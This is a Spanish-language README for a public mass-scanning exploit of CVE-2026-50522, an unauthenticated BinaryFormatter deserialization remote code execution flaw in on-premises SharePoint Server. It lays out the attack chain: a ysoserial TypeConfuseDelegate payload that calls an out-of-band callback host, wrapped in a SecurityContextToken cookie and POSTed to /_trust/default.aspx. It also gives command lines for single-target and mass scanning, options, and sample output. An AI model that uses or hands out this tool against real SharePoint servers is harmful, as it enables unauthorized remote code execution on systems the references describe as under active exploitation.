CVE-2026-50522 PoC: RCE por Deserialización de SharePoint

Ejecución remota de código no autenticada en SharePoint Server mediante deserialización de la cookie SecurityContextToken

Exploit de escaneo masivo para CVE-2026-50522 dirigido a Microsoft SharePoint Server local (on-premises). Abusa de la deserialización insegura de BinaryFormatter en el endpoint WS-Federation /_trust/default.aspx para lograr ejecución de código no autenticada mediante cookies SecurityContextToken manipuladas.

Nota: Este proyecto incluye ysoserial, una conocida herramienta de pruebas de penetración, por lo que tu antivirus podría marcarlo o ponerlo en cuarentena durante la descarga.

---

Información de la Vulnerabilidad

• CVE: CVE-2026-50522
• Tipo: CWE-502 Deserialización de Datos No Confiables
• CVSS 3.1: 9.8 (Crítico)
• Autenticación: No autenticada
• Afectados:
  • Microsoft SharePoint Server Subscription Edition (anteriores a 16.0.19725.20434)
  • Microsoft SharePoint Server 2019 (anteriores a 16.0.10417.20175)
  • Microsoft SharePoint Enterprise Server 2016 (anteriores a 16.0.5561.1001)

---

Cómo Funciona

1. ysoserial.exe genera una carga útil serializada con BinaryFormatter usando el gadget TypeConfuseDelegate
2. La carga útil ejecuta Invoke-WebRequest hacia una URL de callback fuera de banda
3. Los bytes crudos se comprimen (zlib) y se codifican en Base64 dentro del valor de una cookie
4. La cookie se envuelve en una estructura XML SecurityContextToken
5. El token se incrusta en una RequestSecurityTokenResponse (WS-Federation)
6. El parámetro wresult se envía mediante POST a /_trust/default.aspx
7. SharePoint deserializa el token, lo que desencadena la ejecución de código en el proceso de trabajo (worker) de IIS

---

Requisitos

• Python 3.10+ con la librería requests
• ysoserial.net (descargar)
• Servidor de callback OOB (Burp Collaborator, interactsh, OAST)

---

Uso

Objetivo Único

python CVE-2026-50522.py -t http://10.10.10.5 -c http://YOUR_ID.oastify.com

Escaneo Masivo

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com

Ruta Personalizada de ysoserial

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --ysoserial C:\tools\ysoserial.exe

Con Proxy

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com -x http://127.0.0.1:8080

Modo de Callback por Subdominio

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --callback-mode subdomain

---

Opciones

Argumento	Descripción	Por defecto
-t, --target	URL del objetivo único	-
-T, --targets	Archivo con URLs de objetivos, una por línea	-
-c, --callback-url	URL base del callback OOB (obligatorio)	-
--callback-mode	path o subdomain	path
--ysoserial	Ruta de ysoserial.exe	ysoserial.exe
-x, --proxy	Proxy HTTP	ninguno

---

Modos de Callback

Modo ruta (path) (predeterminado):

http://YOUR_ID.oastify.com/10.10.10.5

Modo subdominio:

http://10.10.10.5.YOUR_ID.oastify.com

---

Ejemplo de Salida

[*] 50 target(s) | callback: http://abc123.oastify.com (path) | ysoserial: ysoserial.exe
[10.10.10.5] [+] 200 [LOGIN_PAGE,AUTH_COOKIE]
[10.10.10.6] [!] 200 [AMSI_BLOCKED]
[10.10.10.7] [!] TIMEOUT
[10.10.10.8] [!] SSL_ERR
[10.10.10.9] [!] 403 [HTTP_403]

[*] 45.2s | 50 total | 12 potential | 3 amsi | 5 failed

---

Referencias

• Microsoft - CVE-2026-50522
• SOCRadar - El PoC de CVE-2026-50522 Alimenta los Ataques a SharePoint
• thehackernews - RCE Crítico de SharePoint CVE-2026-50522 Bajo Explotación Activa Tras el PoC Público